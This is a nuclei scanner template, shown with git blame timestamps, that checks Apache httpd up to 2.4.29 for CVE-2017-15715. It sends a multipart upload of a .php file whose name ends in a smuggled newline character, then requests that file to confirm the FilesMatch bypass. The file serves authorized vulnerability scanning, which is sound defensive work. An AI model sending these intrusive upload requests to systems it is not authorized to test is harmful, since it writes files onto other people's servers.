nuclei-templates/http/cves/2017/CVE-2017-15715.yaml

55 lines
1.9 KiB
YAML
Raw Normal View History

2021-04-23 13:34:52 +00:00
id: CVE-2017-15715
info:
name: Apache httpd <=2.4.29 - Arbitrary File Upload
2021-04-23 13:34:52 +00:00
author: geeknik
severity: high
description: Apache httpd 2.4.0 to 2.4.29 is susceptible to arbitrary file upload vulnerabilities via the expression specified in <FilesMatch>, which could match '$' to a newline character in a malicious filename rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.
reference:
- https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
- https://httpd.apache.org/security/vulnerabilities_24.html
- http://www.openwall.com/lists/oss-security/2018/03/24/6
- https://nvd.nist.gov/vuln/detail/CVE-2017-15715
2023-07-11 19:49:27 +00:00
- http://www.securityfocus.com/bid/103525
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2017-15715
cwe-id: CWE-20
2023-07-11 19:49:27 +00:00
epss-score: 0.971
cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: apache
product: http_server
tags: apache,httpd,fileupload,vulhub,cve,cve2017,intrusive
2021-04-23 13:34:52 +00:00
http:
2021-04-23 13:34:52 +00:00
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
2021-04-23 16:18:57 +00:00
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ
2021-04-23 13:34:52 +00:00
2021-04-23 16:18:57 +00:00
------WebKitFormBoundaryKc8fBVDo558U4hbJ
2021-04-23 13:52:23 +00:00
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
2021-04-23 13:34:52 +00:00
{{randstr_1}}
2021-04-23 16:18:57 +00:00
------WebKitFormBoundaryKc8fBVDo558U4hbJ
Content-Disposition: form-data; name="name"
2021-04-23 16:18:57 +00:00
{{randstr}}.php\x0A
------WebKitFormBoundaryKc8fBVDo558U4hbJ--
2021-04-23 13:34:52 +00:00
- |
2021-04-23 16:18:57 +00:00
GET /{{randstr}}.php\x0A HTTP/1.1
2021-04-23 13:34:52 +00:00
Host: {{Hostname}}
Accept-Encoding: gzip,deflate
Accept: */*
req-condition: true
matchers:
- type: dsl
dsl:
- 'contains(body_2, "{{randstr_1}}")'